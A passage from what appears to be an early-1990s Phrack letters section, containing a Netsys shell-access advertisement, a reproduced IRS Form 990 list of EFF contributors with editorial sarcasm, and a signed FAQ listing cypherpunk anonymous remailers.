forwarders, and of course uucp based newsfeeds.
|
|
|
|
Netsys is now offering completely open shell access to Internet users.
|
|
For accounts, or more information , send mail to netsys@netsys.com
|
|
|
|
Netsys will NEVER accept more members than our capacity to serve.
|
|
|
|
Netsys prides itself on it's excellent connectivity (including multiple T1's,
|
|
and SMDS), lightly loaded systems, and it's clientele.
|
|
|
|
We're not your average Internet Service Provider. And it shows.
|
|
--------------------------------------------------------------------
|
|
[Editor: We here at Phrack are forever in debt to Mr. Len Rose for
|
|
allowing us to use ftp.netsys.com as our new official FTP
|
|
site after getting the boot off EFF. It takes a steel
|
|
set of huevos to let such an evil hacker publication
|
|
reside on your hard drive after serving time for having
|
|
dealings with evil hackers. We are STOKED! Thanks Len!
|
|
Netsys is not your average site, INDEED!]
|
|
|
|
****************************************************************************
|
|
|
|
Something Phrack might like to see:
|
|
|
|
The contributors to and practices of the Electronic Frontier Foundation
|
|
disclose quite accurately, just who this organization represents. We
|
|
challenge the legitimacy of the claim that this is a "public interest"
|
|
advocate. Here is a copy of their list of contributors:
|
|
|
|
[FINS requested the Office of the Attorney General of the Commonwealth of
|
|
Massachusetts to provide us with a list of contributors of over $5000, to
|
|
the Electronic Frontier Foundation, required by IRS Form 990. Timothy E.
|
|
Dowd, of the Division of Public Charities, provided us with a list (dated
|
|
January 21, 1993), containing the following information. No response was
|
|
given to a phone request by FINS directly to EFF, for permission to inspect
|
|
and copy the most current IRS Form 990 information.]
|
|
|
|
|
|
|
|
ELECTRONIC FRONTIER FOUNDATION, INC.
|
|
IRS FORM 990. PART I - LIST OF CONTRIBUTIONS
|
|
|
|
|
|
NAME AND ADDRESS OF CONTRIBUTOR CONTRIBUTION
|
|
DATE AMOUNT
|
|
|
|
Kapor Family Foundation
|
|
C/O Kapor Enterprises, Inc.
|
|
155 2nd Street
|
|
Cambridge, MA 02141 Var 100,000
|
|
|
|
Mitchell D. Kapor
|
|
450 Warren Street
|
|
Brookline, MA 02146 Var 324,000
|
|
|
|
Andrew Hertzfeld
|
|
370 Channing Avenue
|
|
Palo Alto, CA 94301 12/12/91 5,000
|
|
|
|
|
|
Dunn & Bradstreet
|
|
C/O Michael F. ...
|
|
1001 G Street, NW Suite 300 East
|
|
Washington, DC 20001 02/12/92 10,000
|
|
|
|
National Cable Television
|
|
1724 Massachusetts Avenue, NW
|
|
Washington, DC 20036 02/18/92 25,000
|
|
|
|
|
|
MCI Communications Corporation
|
|
1133 19th Street, NW
|
|
Washington, DC 20036 03/11/92 15,000
|
|
|
|
American Newspaper Publishers
|
|
Association
|
|
The Newspaper CTR
|
|
11600 Sunrise Valley
|
|
Reston, VA 22091 03/23/92 20,000
|
|
|
|
Apple Computer
|
|
20525 Mariani Avenue MS:75-61
|
|
Cupertino, CA 95014 03/23/92 50,000
|
|
|
|
Sun Microsystems, Inc
|
|
c/o Wayne Rosing
|
|
2550 Garcia Ave
|
|
Mountain View, CA 94043-1100 04/03/92 50,000
|
|
|
|
Adobe Systems, Inc.
|
|
c/o William Spaller
|
|
1585 Charlestown Road
|
|
Mountain View, CA 94039-7900 04/16/92 10,000
|
|
|
|
International Business Systems
|
|
c/o Robert Carbert, Rte 100
|
|
Somers, NY 10589 05/07/92 50,000
|
|
|
|
Prodigy Services Company
|
|
c/o G. Pera...
|
|
445 Hamilton Avenue
|
|
White Plains, NY 10601 05/07/92 10,000
|
|
|
|
Electronic Mail Associates
|
|
1555 Wilson Blvd. Suite 300
|
|
Arlington, VA 22209 05/13/92 10,000
|
|
|
|
Microsoft
|
|
c/o William H. Neukom
|
|
1 Microsoft Way
|
|
Redmond, VA 98052 06/25/92 50,000
|
|
|
|
David Winer
|
|
933 Hermosa Way
|
|
Menio Park, CA 94025 01/02/92 5,000
|
|
|
|
Ed Venture Holdings
|
|
c/o Ester Dvson
|
|
375 Park Avenue
|
|
New York, NY 10152 03/23/92 15,000
|
|
|
|
Anonymous 12/26/91 10,000
|
|
|
|
Bauman Fund
|
|
c/o Patricia Bauman
|
|
1731 Connecticut Avenue
|
|
Washington, DC 20009-1146 04/16/92 2,500
|
|
|
|
Capital Cities ABA
|
|
c/o Mark MacCarthy
|
|
2445 N. Street, NW Suite 48
|
|
Washington, DC 20037 05/04/92 1,000
|
|
|
|
John Gilmore
|
|
210 Clayton Street
|
|
San Francisco, CA 94117 07/23/91 1,488
|
|
08/06/91 100,000
|
|
|
|
Government Technology 10/08/91 1,000
|
|
|
|
Miscellaneous 04/03/91 120
|
|
|
|
Apple Writers Grant
|
|
c/o Apple Computer
|
|
20525 Mariani Avenue 01/10/92 15,000
|
|
|
|
|
|
[Editor: Well, hmmm. Tell you guys what: Send Phrack that
|
|
much money and we will give up our ideals and move to
|
|
a new location, and forget everything about what we
|
|
were all about in the beginning. In fact, we will turn
|
|
our backs on it. Fair?
|
|
|
|
I was talking about me moving to Europe and giving
|
|
up computers. Don't read anything else into that. Nope.]
|
|
|
|
****************************************************************************
|
|
|
|
-----BEGIN PGP SIGNED MESSAGE-----
|
|
|
|
Q1: What cypherpunk remailers exist?
|
|
|
|
A1:
|
|
|
|
1: hh@pmantis.berkeley.edu
|
|
2: hh@cicada.berkeley.edu
|
|
3: hh@soda.berkeley.edu
|
|
4: nowhere@bsu-cs.bsu.edu
|
|
5: remail@tamsun.tamu.edu
|
|
6: remail@tamaix.tamu.edu
|
|
7: ebrandt@jarthur.claremont.edu
|
|
8: hal@alumni.caltech.edu
|
|
9: remailer@rebma.mn.org
|
|
10: elee7h5@rosebud.ee.uh.edu
|
|
11: phantom@mead.u.washington.edu
|
|
12: hfinney@shell.portal.com
|
|
13: remailer@utter.dis.org
|
|
14: 00x@uclink.berkeley.edu
|
|
15: remail@extropia.wimsey.com
|
|
|
|
NOTES:
|
|
#1-#6 remail only, no encryption of headers
|
|
#7-#12 support encrypted headers
|
|
#15 special - header and message must be encrypted together
|
|
#9,#13,#15 introduce larger than average delay (not direct connect)
|
|
#14 public key not yet released
|
|
|
|
#9,#13,#15 running on privately owned machines
|
|
|
|
======================================================================
|
|
|
|
Q2: What help is available?
|
|
|
|
A2:
|
|
|
|
Check out the pub/cypherpunks directory at soda.berkeley.edu
|
|
(128.32.149.19). Instructions on how to use the remailers are in the
|
|
remailer directory, along with some unix scripts and dos batch files.
|
|
|
|
Mail to me (elee9sf@menudo.uh.edu) for further help and/or questions.
|
|
|
|
======================================================================
|
|
|
|
|
|
-----BEGIN PGP SIGNATURE-----
|
|
Version: 2.2
|
|
|
|
iQCVAgUBLAulOYOA7OpLWtYzAQHLfQP/XDSipOUPctZnqjjTq7+665MWgysE1ex9
|
|
lh3Umzk2Q647KyqhoCo8f7nVrieAZxK0HjRFrRQnQCwjTSQrve2eAQ1A5PmJjyiI
|
|
Y55E3YIXYmKrQekIHUKaMyATfnhNc6+2MT8mwaWz2kiOTRkun/SlNI3Cv3Qt8Emy
|
|
Y6Zv0kk/7rs=
|
|
=simY
|
|
-----END PGP SIGNATURE-----
|
|
|
|
[Editor: We suggest that everyone go ahead and get the info file from
|
|
soda.berkeley.edu's ftp site. While you are there,
|
|
take a look around. Lots of groovy free stuff.]
|
|
|